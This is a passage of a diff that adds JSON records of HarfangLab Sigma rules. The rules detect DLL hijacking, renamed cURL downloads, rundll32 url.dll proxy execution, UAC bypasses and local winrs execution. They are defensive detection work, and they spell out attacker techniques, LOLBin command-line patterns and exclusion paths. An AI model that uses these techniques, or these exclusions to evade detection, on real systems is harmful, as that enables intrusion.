'?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "730f4da7-7e20-4f68-99bc-9f28d4c60594",
+  "rule_name": "DLL Hijacking via microsoftedgedevtools.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via microsoftedgedevtools.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "732a4632-5577-440f-8774-b143fe7bd868",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.602410Z",
+  "creation_date": "2026-03-23T11:45:34.602414Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.602421Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_rdpclip.yml",
+  "content": "title: DLL Hijacking via rdpclip.exe\nid: 732a4632-5577-440f-8774-b143fe7bd868\ndescription: |\n    Detects potential Windows DLL Hijacking via rdpclip.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'rdpclip.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\CRYPTBASE.DLL'\n            - '\\DEVOBJ.dll'\n            - '\\dwmapi.dll'\n            - '\\IPHLPAPI.DLL'\n            - '\\mpr.dll'\n            - '\\netprofm.dll'\n            - '\\npmproxy.dll'\n            - '\\PROPSYS.dll'\n            - '\\srpapi.dll'\n            - '\\twinapi.dll'\n            - '\\windows.storage.dll'\n            - '\\WINSTA.dll'\n            - '\\WTSAPI32.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "732a4632-5577-440f-8774-b143fe7bd868",
+  "rule_name": "DLL Hijacking via rdpclip.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via rdpclip.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "7331ca01-b007-4859-8a9e-954ca5d68719",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.619303Z",
+  "creation_date": "2026-03-23T11:45:34.619305Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.619309Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1036/003/",
+    "https://attack.mitre.org/techniques/T1105/"
+  ],
+  "name": "t1105_suspicious_execution_renamed_curl.yml",
+  "content": "title: Suspicious Execution of Renamed cURL\nid: 7331ca01-b007-4859-8a9e-954ca5d68719\ndescription: |\n    Detects the suspicious usage of a renamed cURL Windows binary.\n    Attackers can use the legitimate curl.exe binary to download malicious payloads from external servers.\n    They may also try to rename or move the binary to evade security solutions.\n    It is recommended to analyze the execution chain associated with this alert to determine its legitimacy, as well as to analyze the downloaded file.\nreferences:\n    - https://attack.mitre.org/techniques/T1036/003/\n    - https://attack.mitre.org/techniques/T1105/\ndate: 2023/12/19\nmodified: 2025/01/28\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.command_and_control\n    - attack.t1105\n    - attack.defense_evasion\n    - attack.t1036.003\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.Curl\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.Masquerading\n    - classification.Windows.Behavior.FileDownload\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        OriginalFileName: 'curl.exe'\n\n    filter_correct_name:\n        Image|endswith:\n            - '\\curl.exe'\n            - '\\curl_x64.exe'\n            - '\\curl_x86.exe'\n            - '\\domotz_curl.exe'\n            - '?:\\Program Files\\Windows Remote Agent\\URLDownloader.exe'\n            - '?:\\Program Files (x86)\\Windows Remote Agent\\URLDownloader.exe'\n            - '?:\\Program Files\\Talend *\\logserv\\utils\\curl-*.exe'\n            - '?:\\ProgramFiles\\Talend*\\logserv\\utils\\curl-*.exe'\n\n    exclusion_talend:\n        ProcessGrandparentImage: '?:\\Program Files\\Talend *\\utils\\nssm.exe'\n        Image: '?:\\Program Files\\Talend *\\logserv\\utils\\curl-*-windows-x86.exe'\n\n    exclusion_lamexp:\n        ProcessParentOriginalFileName: 'LameXP.exe'\n        Image|endswith: '\\lxp_curl.exe'\n\n    exclusion_checkpoint:\n        ProcessImage: '?:\\Users\\\\*\\AppData\\Local\\Temp\\{????????-????-????-????-????????????}\\curl_cli.exe'\n        ProcessCommandLine|contains: 'unregConf.txt -o NUL -k --retry 5'\n        ProcessParentImage:\n            - '?:\\Windows\\system32\\msiexec.exe'\n            - '?:\\Windows\\Syswow64\\msiexec.exe'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "7331ca01-b007-4859-8a9e-954ca5d68719",
+  "rule_name": "Suspicious Execution of Renamed cURL",
+  "rule_description": "Detects the suspicious usage of a renamed cURL Windows binary.\nAttackers can use the legitimate curl.exe binary to download malicious payloads from external servers.\nThey may also try to rename or move the binary to evade security solutions.\nIt is recommended to analyze the execution chain associated with this alert to determine its legitimacy, as well as to analyze the downloaded file.\n",
+  "rule_creation_date": "2023-12-19",
+  "rule_modified_date": "2025-01-28",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1036.003",
+    "attack.t1105"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "73475251-0849-445c-bece-3e32ae43749d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.598021Z",
+  "creation_date": "2026-03-23T11:45:34.598026Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.598039Z",
+  "rule_level": "high",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://lolbas-project.github.io/lolbas/Libraries/Url/",
+    "https://github.com/op7ic/EDR-Testing-Script/blob/master/runtests.bat#L268",
+    "https://attack.mitre.org/techniques/T1218/011/"
+  ],
+  "name": "t1218_011_rundll32_url_proxy_execution.yml",
+  "content": "title: Proxy Execution via url.dll\nid: 73475251-0849-445c-bece-3e32ae43749d\ndescription: |\n    Detects a suspicious invocation of url.dll by rundll32.\n    Adversaries may abuse rundll32.exe to proxy execution of malicious code.\n    Using rundll32.exe to execute malicious code indirectly (by calling url.dll's FileProtocolHandler or OpenURL function) may avoid detection by security tools. This is because some security solutions whitelist rundll32.exe as a legitimate Windows process or generate too many false positives from its normal baseline activity to effectively monitor it.\n    It is recommended to investigate the legitimacy of the process responsible for the execution of rundll32 and to analyze its child processes.\nreferences:\n    - https://lolbas-project.github.io/lolbas/Libraries/Url/\n    - https://github.com/op7ic/EDR-Testing-Script/blob/master/runtests.bat#L268\n    - https://attack.mitre.org/techniques/T1218/011/\ndate: 2025/10/17\nmodified: 2025/11/24\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1216.001\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.Rundll32\n    - classification.Windows.LOLBin.Url\n    - classification.Windows.Behavior.ProxyExecution\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_bin:\n        ProcessParentOriginalFileName: 'rundll32.exe'\n\n    selection_url:\n        ParentCommandLine|contains:\n            - ' url,'\n            - ' url.dll,'\n\n    selection_functions:\n        ParentCommandLine|contains:\n            - 'OpenURL'\n            - 'FileProtocolHandler'\n\n    exclusion_programfiles:\n        Image|startswith:\n            - '?:\\Program Files\\'\n            - '?:\\Program Files (x86)\\'\n            - '\\Device\\HarddiskVolume*\\\\*\\Program Files\\'\n            - '\\Device\\HarddiskVolume*\\\\*\\Program Files (x86)\\'\n\n    exclusion_firefox:\n        Image|endswith: '\\firefox.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Mozilla Corporation'\n\n    exclusion_waterfox:\n        Image|endswith: '\\waterfox.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'BROWSERWORKS LTD'\n\n    exclusion_comet:\n        Image|endswith: '\\comet.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'PERPLEXITY AI, INC.'\n\n    exclusion_chrome:\n        Image|endswith: '\\chrome.exe'\n        ProcessSigned: 'true'\n        ProcessSignature:\n            - 'Google Inc'\n            - 'Google LLC'\n\n    exclusion_misc_browser:\n        - Image|endswith: '\\brave.exe'\n          ProcessSigned: 'true'\n          ProcessSignature: 'Brave Software, Inc.'\n        - Image|endswith: '\\Application\\vivaldi.exe'\n        - Image|endswith: '\\opera.exe'\n          ProcessSigned: 'true'\n          ProcessSignature:\n            - 'Opera Norway AS'\n            - 'Opera Software AS'\n        - Image|endswith: '\\Chromium\\thorium.exe'\n        - Image|endswith: '\\SmartBrowser-Blink.exe'\n          ProcessSigned: 'true'\n          ProcessSignature: 'OODRIVE S.A.S.'\n        - Image|endswith:\n            - '\\chromium\\chromium.exe'\n            - '\\Chromium\\Application\\chrome.exe'\n            - '\\GoogleChromePortable\\App\\Chrome-bin\\chrome.exe'\n        - Image|endswith:\n            - '\\jxbrowser\\chromium.exe'\n            - '\\jxbrowser64\\chromium.exe'\n        - ProcessOriginalFileName: 'zen.exe'\n          ProcessSigned: 'true'\n          ProcessSignature: 'Open Source Developer, OSCAR GONZALEZ MORENO'\n        - Image|endswith: '\\MicrosoftEdgeCP.exe'\n          ProcessSigned: 'true'\n          ProcessSignature: 'Microsoft Windows'\n\n    exclusion_adobe:\n        Image|endswith:\n            - '\\AcroRd32.exe'\n            - '\\Acrobat.exe'\n        ProcessSigned: 'true'\n        ProcessSignature:\n            - 'Adobe Inc.'\n            - 'Adobe Systems, Incorporated'\n\n    exclusion_vscode:\n        Image|endswith: '\\Code.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Corporation'\n\n    exclusion_msh:\n        ParentCommandLine|endswith: '.msh'\n        Image|endswith: '\\gmsh.exe'\n\n    exclusion_openwith:\n        ProcessImage:\n            - '?:\\Windows\\SysWOW64\\OpenWith.exe'\n            - '?:\\Windows\\System32\\OpenWith.exe'\n\n    exclusion_typora:\n        ProcessSigned: 'true'\n        ProcessSignature: 'Qiyun (Shanghai) Tech Ltd.'\n        ProcessImage|endswith: '\\Typora.exe'\n\n    exclusion_notepad:\n        ProcessImage:\n            - '?:\\Windows\\System32\\notepad.exe'\n            - '?:\\Windows\\Syswow64\\notepad.exe'\n\n    exclusion_paint:\n        ProcessImage:\n            - '?:\\Windows\\System32\\mspaint.exe'\n            - '?:\\Windows\\syswow64\\mspaint.exe'\n\n    exclusion_kingsoft:\n        ProcessImage: '?:\\Users\\\\*\\AppData\\Local\\Kingsoft\\WPS Office\\\\*\\office6\\wps.exe'\n\n    exclusion_atlantisupdater:\n        ParentCommandLine:\n            - 'rundll32 url.dll,FileProtocolHandler ?:\\Users\\\\*\\AppData\\Local\\Temp\\createIconAssociation*AtlantisUpdater.reg'\n            - 'rundll32 url.dll,FileProtocolHandler ?:\\Users\\\\*\\AppData\\Local\\Temp\\createIconAssociation*AtlantisUpdater.bat'\n            - 'rundll32 url.dll,FileProtocolHandler ?:\\Users\\\\*\\AppData\\Local\\Temp\\createFileAssociation*AtlantisUpdater.bat'\n            - 'rundll32 url.dll,FileProtocolHandler ?:\\Users\\\\*\\AppData\\Local\\Temp\\createFileAssociation*AtlantisUpdater.reg'\n\n    exclusion_protocols:\n        ParentCommandLine|contains:\n            - 'FileProtocolHandler field6://'\n            - 'FileProtocolHandler v3d3s://'\n\n    exclusion_camunda:\n        Image: '?:\\Users\\\\*\\AppData\\Roaming\\Camunda Modeler\\Camunda Modeler.exe'\n\n    exclusion_sumatra_pdf:\n        Image: '?:\\Users\\\\*\\AppData\\Local\\SumatraPDF\\SumatraPDF.exe'\n\n    exclusion_foxit_reader:\n        Signed: 'true'\n        Signature: 'FOXIT SOFTWARE INC.'\n\n    exclusion_excel:\n        Image: '?:\\Microsoft Office\\Office16\\EXCEL.EXE'\n\n    exclusion_docker:\n        ProcessParentCommandLine|contains: 'FileProtocolHandler https://login.docker.com/'\n\n    condition: all of selection_* and not 1 of exclusion_*\nlevel: high\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "73475251-0849-445c-bece-3e32ae43749d",
+  "rule_name": "Proxy Execution via url.dll",
+  "rule_description": "Detects a suspicious invocation of url.dll by rundll32.\nAdversaries may abuse rundll32.exe to proxy execution of malicious code.\nUsing rundll32.exe to execute malicious code indirectly (by calling url.dll's FileProtocolHandler or OpenURL function) may avoid detection by security tools. This is because some security solutions whitelist rundll32.exe as a legitimate Windows process or generate too many false positives from its normal baseline activity to effectively monitor it.\nIt is recommended to investigate the legitimacy of the process responsible for the execution of rundll32 and to analyze its child processes.\n",
+  "rule_creation_date": "2025-10-17",
+  "rule_modified_date": "2025-11-24",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1216.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "7349845f-0229-4bb2-ab6b-a39f0dca1dc5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.618115Z",
+  "creation_date": "2026-03-23T11:45:34.618117Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.618121Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://medium.com/tenable-techblog/uac-bypass-by-mocking-trusted-directories-24a96675f6e",
+    "https://redteamer.tips/uac-bypass-through-trusted-folder-abuse/",
+    "https://attack.mitre.org/techniques/T1548/002/"
+  ],
+  "name": "t1548_002_uac_bypass_mocking_trusted_directories.yml",
+  "content": "title: UAC Bypass Executed via Mocking Trusted Directories\nid: 7349845f-0229-4bb2-ab6b-a39f0dca1dc5\ndescription: |\n    Detects the execution of a binary from a Mocking Trusted Directories wich is a sign of an attempt of UAC bypass.\n    Adversaries may bypass UAC mechanisms to elevate process privileges on system.\n    Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation.\n    It is recommended to analyze the process and user session responsible to look for malicious content or actions.\nreferences:\n    - https://medium.com/tenable-techblog/uac-bypass-by-mocking-trusted-directories-24a96675f6e\n    - https://redteamer.tips/uac-bypass-through-trusted-folder-abuse/\n    - https://attack.mitre.org/techniques/T1548/002/\ndate: 2021/07/26\nmodified: 2025/02/04\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.t1548.002\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.UACBypass\n    - classification.Windows.Behavior.PrivilegeEscalation\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        Image|startswith:\n            - '?:\\Windows \\'\n            - '?:\\ Windows\\'\n            - '?:\\ Windows \\'\n\n    condition: selection\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "7349845f-0229-4bb2-ab6b-a39f0dca1dc5",
+  "rule_name": "UAC Bypass Executed via Mocking Trusted Directories",
+  "rule_description": "Detects the execution of a binary from a Mocking Trusted Directories wich is a sign of an attempt of UAC bypass.\nAdversaries may bypass UAC mechanisms to elevate process privileges on system.\nWindows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation.\nIt is recommended to analyze the process and user session responsible to look for malicious content or actions.\n",
+  "rule_creation_date": "2021-07-26",
+  "rule_modified_date": "2025-02-04",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1548.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "734b213f-25e3-402d-862b-ccbe5a1166f4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.625861Z",
+  "creation_date": "2026-03-23T11:45:34.625863Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.625868Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/winrs",
+    "https://attack.mitre.org/techniques/T1218/"
+  ],
+  "name": "t1218_winrs_local.yml",
+  "content": "title: Suspicious Execution on Localhost via Winrs\nid: 734b213f-25e3-402d-862b-ccbe5a1166f4\ndescription: |\n    Detects a suspicious execution of Winrs.exe on a localhost, to possible execute malicious binaries.\n    This binary, which is digitally signed by Microsoft, is supposed to be used as a (remote) administrative tool.\n    Attackers may abuse it to bypass security restrictions.\n    It is recommended to analyze the binary mentioned in the winrs command-line as well as the parent process to look for malicious content or actions.\nreferences:\n    - https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/winrs\n    - https://attack.mitre.org/techniques/T1218/\ndate: 2022/12/04\nmodified: 2025/12/29\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1218\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.ProxyExecution\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_image:\n        - OriginalFileName: 'winrs.exe'\n        - Image|endswith: '\\winrs.exe'\n\n    selection_commandline:\n        CommandLine|contains:\n            - ' /remote:'\n            - ' -remote:'\n            - ' /r:'\n            - ' -r:'\n\n    selection_local:\n        CommandLine|contains:\n            - '127.0.0.1'\n            - 'localhost'\n\n    filter_user:\n        CommandLine|contains:\n            - '-u:localhost'\n            - '-username:localhost'\n\n    exclusion_inetum:\n        CommandLine:\n            - 'winrs -r:http://127.0.0.1:5985 *\\inetum\\\\*'\n            - 'winrs -r:http://localhost:5985 *\\inetum\\\\*'\n\n    exclusion_nexpublica:\n        CommandLine|startswith:\n            - 'winrs -r:http://127.0.0.1:5985 ?:\\Astre\\exploit\\\\*.cmd'\n            - 'winrs -r:http://127.0.0.1:5985 ?:\\app\\exploit\\\\*.cmd'\n        GrandparentCommandLine: '?:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p -s Schedule'\n\n    condition: all of selection_* and not 1 of filter_* and not 1 of exclusion_*\nlevel: medium\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "734b213f-25e3-402d-862b-ccbe5a1166f4",
+  "rule_name": "Suspicious Execution on Localhost via Winrs",
+  "rule_description": "Detects a suspicious execution of Winrs.exe on a localhost, to possible execute malicious binaries.\nThis binary, which is digitally signed by Microsoft, is supposed to be used as a (remote) administrative tool.\nAttackers may abuse it to bypass security restrictions.\nIt is recommended to analyze the binary mentioned in the winrs command-line as well as the parent process to look for malicious content or actions.\n",
+  "rule_creation_date": "2022-12-04",
+  "rule_modified_date": "2025-12-29",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1218"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "735f553d-5066-4aed-96ae-b618b9999a75",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.074456Z",
+  "creation_date": "2026-03-23T11:45:34.074458Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.074463Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.greyhathacker.net/?p=796",
+    "https://attack.mitre.org/techniques/T1548/002/"
+  ],
+  "name": "t1548_002_uac_bypass_cliconfg_ntwdblib.yml",
+  "content": "title: UAC Bypass Executed via cliconfg.exe\nid: 735f553d-5066-4aed-96ae-b618b9999a75\ndescription: |\n    Detects the execution of the cliconfg.exe UAC bypass, involving the hijacking of the ntwdblib.dll DLL.\n    Adversaries may bypass UAC mechanisms to elevate process privileges on system.\n    Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation.\n    It is recommended to analyze the process and user session responsible for the creation of the library, as well as the library itself to look for malicious content or actions.\nreferences:\n    - https://www.greyhathacker.net/?p=796\n    - https://attack.mitre.org/techniques/T1548/002/\ndate: 2020/10/15\nmodified: 2025/01/28\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - attack.t1548.002\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.UACBypass\n    - classification.Windows.Behavior.PrivilegeEscalation\n    - classification.Windows.Behavior.DLLHijacking\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        